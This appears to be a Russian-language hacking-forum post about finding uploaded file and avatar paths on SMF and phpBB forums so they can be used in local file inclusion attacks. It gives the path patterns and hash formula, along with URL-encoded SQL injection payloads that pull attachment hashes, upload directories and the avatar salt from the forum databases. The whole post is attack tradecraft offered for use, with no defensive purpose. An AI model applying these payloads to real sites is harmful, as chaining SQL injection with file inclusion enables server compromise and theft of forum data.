Движки часто скрывают путь к залитым файлам и отдают их содержимое через скрипты, что очень неудобно при LFI.
SMF 2.x (по-моему, только 2ая ветка):
Код:
/%ATTACHMENTS_PATH%/%ATTACH_ID%_%FILE_HASH%
PHP код:
$file_hash = sha1(md5($filename . time()) . mt_rand());
ATTACH_ID берется, очевидно, из ссылки, FILE_HASH нужно выдергивать из базы:
Код:
SELECT+file_hash+FROM+smf_attachments+WHERE+id_attach=ATTACH_ID+LIMIT+0,1
ATTACHMENTS_PATH
Код:
SELECT+value+FROM+smf_settings+WHERE+variable=0x6174746163686d656e7455706c6f6164446972+LIMIT+0,1
По умолчанию: /attachments/. Также там может быть несколько путей, тогда надо дополнительно вытаскивать id_folder из smf_attachments.
В 1.х ветке (во всех ли?) аватарка загружалась просто как:
Код:
/%ATTACHMENTS_PATH%/avatar_%USER_ID%.jpg
phpBB 3.x
Код:
/%AVATAR_PATH%/%SALT%_%USER_ID%.jpg
SALT нужно выдергивать из базы:
Код:
SELECT+config_value+FROM+phpbb_config+WHERE+config_name='avatar_salt'+LIMIT+0,1
AVATAR_PATH:
Код:
SELECT+config_value+FROM+phpbb_config+WHERE+config_name='avatar_path'+LIMIT+0,1
По умолчанию: /images/avatars/upload/
С аттачами аналогично, подробнее в functions_upload.php, функция clean_filename().